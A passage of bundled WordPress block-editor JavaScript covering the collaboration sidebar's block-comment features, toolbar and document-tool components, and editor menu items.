      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: "3",
        className: "editor-collab-sidebar-panel__comment-field",
        children: ['edit' === actionState && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(comment_form, {
          onSubmit: value => {
            onEdit(thread.id, value);
            setActionState(false);
          },
          onCancel: () => handleCancel(),
          thread: thread,
          submitButtonText: (0,external_wp_i18n_namespaceObject._x)('Update', 'verb')
        }), 'edit' !== actionState && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, {
          children: thread?.content?.raw
        })]
      })
    }), 'resolve' === actionState && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
      isOpen: showConfirmDialog,
      onConfirm: handleConfirmResolve,
      onCancel: handleCancel,
      confirmButtonText: "Yes",
      cancelButtonText: "No",
      children:
      // translators: message displayed when confirming an action
      (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to mark this comment as resolved?')
    }), 'delete' === actionState && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
      isOpen: showConfirmDialog,
      onConfirm: handleConfirmDelete,
      onCancel: handleCancel,
      confirmButtonText: "Yes",
      cancelButtonText: "No",
      children:
      // translators: message displayed when confirming an action
      (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete this comment?')
    })]
  });
};

;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/add-comment.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



/**
 * Renders the UI for adding a comment in the Gutenberg editor's collaboration sidebar.
 *
 * @param {Object}   props                     - The component props.
 * @param {Function} props.onSubmit            - A callback function to be called when the user submits a comment.
 * @param {boolean}  props.showCommentBoard    - The function to edit the comment.
 * @param {Function} props.setShowCommentBoard - The function to delete the comment.
 * @return {React.ReactNode} The rendered comment input UI.
 */

function AddComment({
  onSubmit,
  showCommentBoard,
  setShowCommentBoard
}) {
  const {
    clientId,
    blockCommentId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSelectedBlock
    } = select(external_wp_blockEditor_namespaceObject.store);
    const selectedBlock = getSelectedBlock();
    return {
      clientId: selectedBlock?.clientId,
      blockCommentId: selectedBlock?.attributes?.blockCommentId
    };
  });
  if (!showCommentBoard || !clientId || undefined !== blockCommentId) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    spacing: "3",
    className: "editor-collab-sidebar-panel__thread editor-collab-sidebar-panel__active-thread editor-collab-sidebar-panel__focus-thread",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
      alignment: "left",
      spacing: "3",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(comment_author_info, {})
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(comment_form, {
      onSubmit: inputComment => {
        onSubmit(inputComment);
      },
      onCancel: () => {
        setShowCommentBoard(false);
      },
      submitButtonText: (0,external_wp_i18n_namespaceObject._x)('Comment', 'Add comment button')
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/comment-button.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


const {
  CommentIconSlotFill
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const AddCommentButton = ({
  onClick
}) => {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommentIconSlotFill.Fill, {
    children: ({
      onClose
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
      icon: library_comment,
      onClick: () => {
        onClick();
        onClose();
      },
      "aria-haspopup": "dialog",
      children: (0,external_wp_i18n_namespaceObject._x)('Comment', 'Add comment button')
    })
  });
};
/* harmony default export */ const comment_button = (AddCommentButton);

;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/comment-button-toolbar.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


const {
  CommentIconToolbarSlotFill
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const AddCommentToolbarButton = ({
  onClick
}) => {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommentIconToolbarSlotFill.Fill, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarButton, {
      accessibleWhenDisabled: true,
      icon: library_comment,
      label: (0,external_wp_i18n_namespaceObject._x)('Comment', 'View comment'),
      onClick: onClick
    })
  });
};
/* harmony default export */ const comment_button_toolbar = (AddCommentToolbarButton);

;// ./node_modules/@wordpress/editor/build-module/components/collab-sidebar/index.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */










const modifyBlockCommentAttributes = settings => {
  if (!settings.attributes.blockCommentId) {
    settings.attributes = {
      ...settings.attributes,
      blockCommentId: {
        type: 'number'
      }
    };
  }
  return settings;
};

// Apply the filter to all core blocks
(0,external_wp_hooks_namespaceObject.addFilter)('blocks.registerBlockType', 'block-comment/modify-core-block-attributes', modifyBlockCommentAttributes);
function CollabSidebarContent({
  showCommentBoard,
  setShowCommentBoard,
  styles,
  comments
}) {
  const {
    createNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const {
    saveEntityRecord,
    deleteEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    getEntityRecord
  } = (0,external_wp_data_namespaceObject.resolveSelect)(external_wp_coreData_namespaceObject.store);
  const {
    postId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostId
    } = select(store_store);
    const _postId = getCurrentPostId();
    return {
      postId: _postId
    };
  }, []);
  const {
    getSelectedBlockClientId
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
  const {
    updateBlockAttributes
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);

  // Function to save the comment.
  const addNewComment = async (comment, parentCommentId) => {
    const args = {
      post: postId,
      content: comment,
      comment_type: 'block_comment',
      comment_approved: 0
    };

    // Create a new object, conditionally including the parent property
    const updatedArgs = {
      ...args,
      ...(parentCommentId ? {
        parent: parentCommentId
      } : {})
    };
    const savedRecord = await saveEntityRecord('root', 'comment', updatedArgs);
    if (savedRecord) {
      // If it's a main comment, update the block attributes with the comment id.
      if (!parentCommentId) {
        updateBlockAttributes(getSelectedBlockClientId(), {
          blockCommentId: savedRecord?.id
        });
      }
      createNotice('snackbar', parentCommentId ?
      // translators: Reply added successfully
      (0,external_wp_i18n_namespaceObject.__)('Reply added successfully.') :
      // translators: Comment added successfully
      (0,external_wp_i18n_namespaceObject.__)('Comment added successfully.'), {
        type: 'snackbar',
        isDismissible: true
      });
    } else {
      onError();
    }
  };
  const onCommentResolve = async commentId => {
    const savedRecord = await saveEntityRecord('root', 'comment', {
      id: commentId,
      status: 'approved'
    });
    if (savedRecord) {
      // translators: Comment resolved successfully
      createNotice('snackbar', (0,external_wp_i18n_namespaceObject.__)('Comment marked as resolved.'), {
        type: 'snackbar',
        isDismissible: true
      });
    } else {
      onError();
    }
  };
  const onEditComment = async (commentId, comment) => {
    const savedRecord = await saveEntityRecord('root', 'comment', {
      id: commentId,
      content: comment
    });
    if (savedRecord) {
      createNotice('snackbar',
      // translators: Comment edited successfully
      (0,external_wp_i18n_namespaceObject.__)('Comment edited successfully.'), {
        type: 'snackbar',
        isDismissible: true
      });
    } else {
      onError();
    }
  };
  const onError = () => {
    createNotice('error',
    // translators: Error message when comment submission fails
    (0,external_wp_i18n_namespaceObject.__)('Something went wrong. Please try publishing the post, or you may have already submitted your comment earlier.'), {
      isDismissible: true
    });
  };
  const onCommentDelete = async commentId => {
    const childComment = await getEntityRecord('root', 'comment', commentId);
    await deleteEntityRecord('root', 'comment', commentId);
    if (childComment && !childComment.parent) {
      updateBlockAttributes(getSelectedBlockClientId(), {
        blockCommentId: undefined
      });
    }
    createNotice('snackbar',
    // translators: Comment deleted successfully
    (0,external_wp_i18n_namespaceObject.__)('Comment deleted successfully.'), {
      type: 'snackbar',
      isDismissible: true
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-collab-sidebar-panel",
    style: styles,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddComment, {
      onSubmit: addNewComment,
      showCommentBoard: showCommentBoard,
      setShowCommentBoard: setShowCommentBoard
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Comments, {
      threads: comments,
      onEditComment: onEditComment,
      onAddReply: addNewComment,
      onCommentDelete: onCommentDelete,
      onCommentResolve: onCommentResolve,
      showCommentBoard: showCommentBoard,
      setShowCommentBoard: setShowCommentBoard
    }, getSelectedBlockClientId())]
  });
}

/**
 * Renders the Collab sidebar.
 */
function CollabSidebar() {
  const [showCommentBoard, setShowCommentBoard] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    enableComplementaryArea
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const {
    getActiveComplementaryArea
  } = (0,external_wp_data_namespaceObject.useSelect)(store);
  const {
    postId,
    postType,
    postStatus,
    threads
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostId,
      getCurrentPostType
    } = select(store_store);
    const _postId = getCurrentPostId();
    const data = !!_postId && typeof _postId === 'number' ? select(external_wp_coreData_namespaceObject.store).getEntityRecords('root', 'comment', {
      post: _postId,
      type: 'block_comment',
      status: 'any',
      per_page: 100
    }) : null;
    return {
      postId: _postId,
      postType: getCurrentPostType(),
      postStatus: select(store_store).getEditedPostAttribute('status'),
      threads: data
    };
  }, []);
  const {
    blockCommentId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlockAttributes,
      getSelectedBlockClientId
    } = select(external_wp_blockEditor_namespaceObject.store);
    const _clientId = getSelectedBlockClientId();
    return {
      blockCommentId: _clientId ? getBlockAttributes(_clientId)?.blockCommentId : null
    };
  }, []);
  const openCollabBoard = () => {
    setShowCommentBoard(true);
    enableComplementaryArea('core', 'edit-post/collab-sidebar');
  };
  const [blocks] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)('postType', postType, {
    id: postId
  });

  // Process comments to build the tree structure
  const {
    resultComments,
    sortedThreads
  } = (0,external_wp_element_namespaceObject.useMemo)(() => {
    // Create a compare to store the references to all objects by id
    const compare = {};
    const result = [];
    const filteredComments = (threads !== null && threads !== void 0 ? threads : []).filter(comment => comment.status !== 'trash');

    // Initialize each object with an empty `reply` array
    filteredComments.forEach(item => {
      compare[item.id] = {
        ...item,
        reply: []
      };
    });

    // Iterate over the data to build the tree structure
    filteredComments.forEach(item => {
      if (item.parent === 0) {
        // If parent is 0, it's a root item, push it to the result array
        result.push(compare[item.id]);
      } else if (compare[item.parent]) {
        // Otherwise, find its parent and push it to the parent's `reply` array
        compare[item.parent].reply.push(compare[item.id]);
      }
    });
    if (0 === result?.length) {
      return {
        resultComments: [],
        sortedThreads: []
      };
    }
    const updatedResult = result.map(item => ({
      ...item,
      reply: [...item.reply].reverse()
    }));
    const blockCommentIds = getCommentIdsFromBlocks(blocks);
    const threadIdMap = new Map(updatedResult.map(thread => [thread.id, thread]));
    const sortedComments = blockCommentIds.map(id => threadIdMap.get(id)).filter(thread => thread !== undefined);
    return {
      resultComments: updatedResult,
      sortedThreads: sortedComments
    };
  }, [threads, blocks]);

  // Get the global styles to set the background color of the sidebar.
  const {
    merged: GlobalStyles
  } = useGlobalStylesContext();
  const backgroundColor = GlobalStyles?.styles?.color?.background;
  if (0 < resultComments.length) {
    const unsubscribe = (0,external_wp_data_namespaceObject.subscribe)(() => {
      const activeSidebar = getActiveComplementaryArea('core');
      if (!activeSidebar) {
        enableComplementaryArea('core', collabSidebarName);
        unsubscribe();
      }
    });
  }
  if (postStatus === 'publish') {
    return null; // or maybe return some message indicating no threads are available.
  }
  const AddCommentComponent = blockCommentId ? comment_button_toolbar : comment_button;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddCommentComponent, {
      onClick: openCollabBoard
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PluginSidebar, {
      identifier: collabHistorySidebarName
      // translators: Comments sidebar title
      ,
      title: (0,external_wp_i18n_namespaceObject.__)('Comments'),
      icon: library_comment,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CollabSidebarContent, {
        comments: resultComments,
        showCommentBoard: showCommentBoard,
        setShowCommentBoard: setShowCommentBoard
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PluginSidebar, {
      isPinnable: false,
      header: false,
      identifier: collabSidebarName,
      className: "editor-collab-sidebar",
      headerClassName: "editor-collab-sidebar__header",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CollabSidebarContent, {
        comments: sortedThreads,
        showCommentBoard: showCommentBoard,
        setShowCommentBoard: setShowCommentBoard,
        styles: {
          backgroundColor
        }
      })
    })]
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/next.js
/**
 * WordPress dependencies
 */


const next = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z"
  })
});
/* harmony default export */ const library_next = (next);

;// ./node_modules/@wordpress/icons/build-module/library/previous.js
/**
 * WordPress dependencies
 */


const previous = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z"
  })
});
/* harmony default export */ const library_previous = (previous);

;// ./node_modules/@wordpress/editor/build-module/components/collapsible-block-toolbar/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


const {
  useHasBlockToolbar
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function CollapsibleBlockToolbar({
  isCollapsed,
  onToggle
}) {
  const {
    blockSelectionStart
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      blockSelectionStart: select(external_wp_blockEditor_namespaceObject.store).getBlockSelectionStart()
    };
  }, []);
  const hasBlockToolbar = useHasBlockToolbar();
  const hasBlockSelection = !!blockSelectionStart;
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    // If we have a new block selection, show the block tools
    if (blockSelectionStart) {
      onToggle(false);
    }
  }, [blockSelectionStart, onToggle]);
  if (!hasBlockToolbar) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: dist_clsx('editor-collapsible-block-toolbar', {
        'is-collapsed': isCollapsed || !hasBlockSelection
      }),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockToolbar, {
        hideDragHandle: true
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Popover.Slot, {
      name: "block-toolbar"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      className: "editor-collapsible-block-toolbar__toggle",
      icon: isCollapsed ? library_next : library_previous,
      onClick: () => {
        onToggle(!isCollapsed);
      },
      label: isCollapsed ? (0,external_wp_i18n_namespaceObject.__)('Show block tools') : (0,external_wp_i18n_namespaceObject.__)('Hide block tools'),
      size: "compact"
    })]
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/plus.js
/**
 * WordPress dependencies
 */


const plus = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z"
  })
});
/* harmony default export */ const library_plus = (plus);

;// ./node_modules/@wordpress/editor/build-module/components/document-tools/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */





function DocumentTools({
  className,
  disableBlockTools = false
}) {
  const {
    setIsInserterOpened,
    setIsListViewOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    isDistractionFree,
    isInserterOpened,
    isListViewOpen,
    listViewShortcut,
    inserterSidebarToggleRef,
    listViewToggleRef,
    showIconLabels,
    showTools
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    const {
      isListViewOpened,
      getEditorMode,
      getInserterSidebarToggleRef,
      getListViewToggleRef,
      getRenderingMode,
      getCurrentPostType
    } = unlock(select(store_store));
    const {
      getShortcutRepresentation
    } = select(external_wp_keyboardShortcuts_namespaceObject.store);
    return {
      isInserterOpened: select(store_store).isInserterOpened(),
      isListViewOpen: isListViewOpened(),
      listViewShortcut: getShortcutRepresentation('core/editor/toggle-list-view'),
      inserterSidebarToggleRef: getInserterSidebarToggleRef(),
      listViewToggleRef: getListViewToggleRef(),
      showIconLabels: get('core', 'showIconLabels'),
      isDistractionFree: get('core', 'distractionFree'),
      isVisualMode: getEditorMode() === 'visual',
      showTools: !!window?.__experimentalEditorWriteMode && (getRenderingMode() !== 'post-only' || getCurrentPostType() === 'wp_template')
    };
  }, []);
  const preventDefault = event => {
    // Because the inserter behaves like a dialog,
    // if the inserter is opened already then when we click on the toggle button
    // then the initial click event will close the inserter and then be propagated
    // to the inserter toggle and it will open it again.
    // To prevent this we need to stop the propagation of the event.
    // This won't be necessary when the inserter no longer behaves like a dialog.

    if (isInserterOpened) {
      event.preventDefault();
    }
  };
  const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium');
  const isWideViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('wide');

  /* translators: accessibility text for the editor toolbar */
  const toolbarAriaLabel = (0,external_wp_i18n_namespaceObject.__)('Document tools');
  const toggleListView = (0,external_wp_element_namespaceObject.useCallback)(() => setIsListViewOpened(!isListViewOpen), [setIsListViewOpened, isListViewOpen]);
  const toggleInserter = (0,external_wp_element_namespaceObject.useCallback)(() => setIsInserterOpened(!isInserterOpened), [isInserterOpened, setIsInserterOpened]);

  /* translators: button label text should, if possible, be under 16 characters. */
  const longLabel = (0,external_wp_i18n_namespaceObject._x)('Block Inserter', 'Generic label for block inserter button');
  const shortLabel = !isInserterOpened ? (0,external_wp_i18n_namespaceObject.__)('Add') : (0,external_wp_i18n_namespaceObject.__)('Close');
  return (
    /*#__PURE__*/
    // Some plugins expect and use the `edit-post-header-toolbar` CSS class to
    // find the toolbar and inject UI elements into it. This is not officially
    // supported, but we're keeping it in the list of class names for backwards
    // compatibility.
    (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.NavigableToolbar, {
      className: dist_clsx('editor-document-tools', 'edit-post-header-toolbar', className),
      "aria-label": toolbarAriaLabel,
      variant: "unstyled",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "editor-document-tools__left",
        children: [!isDistractionFree && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarButton, {
          ref: inserterSidebarToggleRef,
          className: "editor-document-tools__inserter-toggle",
          variant: "primary",
          isPressed: isInserterOpened,
          onMouseDown: preventDefault,
          onClick: toggleInserter,
          disabled: disableBlockTools,
          icon: library_plus,
          label: showIconLabels ? shortLabel : longLabel,
          showTooltip: !showIconLabels,
          "aria-expanded": isInserterOpened
        }), (isWideViewport || !showIconLabels) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
          children: [showTools && isLargeViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, {
            as: external_wp_blockEditor_namespaceObject.ToolSelector,
            showTooltip: !showIconLabels,
            variant: showIconLabels ? 'tertiary' : undefined,
            disabled: disableBlockTools,
            size: "compact"
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, {
            as: editor_history_undo,
            showTooltip: !showIconLabels,
            variant: showIconLabels ? 'tertiary' : undefined,
            size: "compact"
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, {
            as: editor_history_redo,
            showTooltip: !showIconLabels,
            variant: showIconLabels ? 'tertiary' : undefined,
            size: "compact"
          }), !isDistractionFree && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarButton, {
            className: "editor-document-tools__document-overview-toggle",
            icon: list_view,
            disabled: disableBlockTools,
            isPressed: isListViewOpen
            /* translators: button label text should, if possible, be under 16 characters. */,
            label: (0,external_wp_i18n_namespaceObject.__)('Document Overview'),
            onClick: toggleListView,
            shortcut: listViewShortcut,
            showTooltip: !showIconLabels,
            variant: showIconLabels ? 'tertiary' : undefined,
            "aria-expanded": isListViewOpen,
            ref: listViewToggleRef
          })]
        })]
      })
    })
  );
}
/* harmony default export */ const document_tools = (DocumentTools);

;// ./node_modules/@wordpress/editor/build-module/components/more-menu/copy-content-menu-item.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */


function CopyContentMenuItem() {
  const {
    createNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const {
    getCurrentPostId,
    getCurrentPostType
  } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
  const {
    getEditedEntityRecord
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store);
  function getText() {
    const record = getEditedEntityRecord('postType', getCurrentPostType(), getCurrentPostId());
    if (!record) {
      return '';
    }
    if (typeof record.content === 'function') {
      return record.content(record);
    } else if (record.blocks) {
      return (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(record.blocks);
    } else if (record.content) {
      return record.content;
    }
  }
  function onSuccess() {
    createNotice('info', (0,external_wp_i18n_namespaceObject.__)('All content copied.'), {
      isDismissible: true,
      type: 'snackbar'
    });
  }
  const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(getText, onSuccess);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
    ref: ref,
    children: (0,external_wp_i18n_namespaceObject.__)('Copy all blocks')
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/mode-switcher/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


/**
 * Set of available mode options.
 *
 * @type {Array}
 */

const MODES = [{
  value: 'visual',
  label: (0,external_wp_i18n_namespaceObject.__)('Visual editor')
}, {
  value: 'text',
  label: (0,external_wp_i18n_namespaceObject.__)('Code editor')
}];
function ModeSwitcher() {
  const {
    shortcut,
    isRichEditingEnabled,
    isCodeEditingEnabled,
    mode
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    shortcut: select(external_wp_keyboardShortcuts_namespaceObject.store).getShortcutRepresentation('core/editor/toggle-mode'),
    isRichEditingEnabled: select(store_store).getEditorSettings().richEditingEnabled,
    isCodeEditingEnabled: select(store_store).getEditorSettings().codeEditingEnabled,
    mode: select(store_store).getEditorMode()
  }), []);
  const {
    switchEditorMode
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  let selectedMode = mode;
  if (!isRichEditingEnabled && mode === 'visual') {
    selectedMode = 'text';
  }
  if (!isCodeEditingEnabled && mode === 'text') {
    selectedMode = 'visual';
  }
  const choices = MODES.map(choice => {
    if (!isCodeEditingEnabled && choice.value === 'text') {
      choice = {
        ...choice,
        disabled: true
      };
    }
    if (!isRichEditingEnabled && choice.value === 'visual') {
      choice = {
        ...choice,
        disabled: true,
        info: (0,external_wp_i18n_namespaceObject.__)('You can enable the visual editor in your profile settings.')
      };
    }
    if (choice.value !== selectedMode && !choice.disabled) {
      return {
        ...choice,
        shortcut
      };
    }
    return choice;
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
    label: (0,external_wp_i18n_namespaceObject.__)('Editor'),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItemsChoice, {
      choices: choices,
      value: selectedMode,
      onSelect: switchEditorMode
    })
  });
}
/* harmony default export */ const mode_switcher = (ModeSwitcher);

;// ./node_modules/@wordpress/editor/build-module/components/more-menu/tools-more-menu-group.js
/**
 * WordPress dependencies
 */


const {
  Fill: ToolsMoreMenuGroup,
  Slot: tools_more_menu_group_Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)('ToolsMoreMenuGroup');
ToolsMoreMenuGroup.Slot = ({
  fillProps
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(tools_more_menu_group_Slot, {
  fillProps: fillProps
});
/* harmony default export */ const tools_more_menu_group = (ToolsMoreMenuGroup);

;// ./node_modules/@wordpress/editor/build-module/components/more-menu/view-more-menu-group.js
/**
 * WordPress dependencies
 */



const {
  Fill: ViewMoreMenuGroup,
  Slot: view_more_menu_group_Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)(external_wp_element_namespaceObject.Platform.OS === 'web' ? Symbol('ViewMoreMenuGroup') : 'ViewMoreMenuGroup');
ViewMoreMenuGroup.Slot = ({
  fillProps
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(view_more_menu_group_Slot, {
  fillProps: fillProps
});
/* harmony default export */ const view_more_menu_group = (ViewMoreMenuGroup);

;// ./node_modules/@wordpress/editor/build-module/components/more-menu/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */






function MoreMenu() {
  const {
    openModal
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const {
    set: setPreference
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const {
    toggleDistractionFree
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const showIconLabels = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_preferences_namespaceObject.store).get('core', 'showIconLabels'), []);
  const turnOffDistractionFree = () => {
    setPreference('core', 'distractionFree', false);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
      icon: more_vertical,
      label: (0,external_wp_i18n_namespaceObject.__)('Options'),
      popoverProps: {
        placement: 'bottom-end',
        className: 'more-menu-dropdown__content'
      },
      toggleProps: {
        showTooltip: !showIconLabels,
        ...(showIconLabels && {
          variant: 'tertiary'
        }),
        tooltipPosition: 'bottom',
        size: 'compact'
      },
      children: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
          label: (0,external_wp_i18n_namespaceObject._x)('View', 'noun'),
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_preferences_namespaceObject.PreferenceToggleMenuItem, {
            scope: "core",
            name: "fixedToolbar",
            onToggle: turnOffDistractionFree,
            label: (0,external_wp_i18n_namespaceObject.__)('Top toolbar'),
            info: (0,external_wp_i18n_namespaceObject.__)('Access all block and document tools in a single place'),
            messageActivated: (0,external_wp_i18n_namespaceObject.__)('Top toolbar activated.'),
            messageDeactivated: (0,external_wp_i18n_namespaceObject.__)('Top toolbar deactivated.')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_preferences_namespaceObject.PreferenceToggleMenuItem, {
            scope: "core",
            name: "distractionFree",
            label: (0,external_wp_i18n_namespaceObject.__)('Distraction free'),
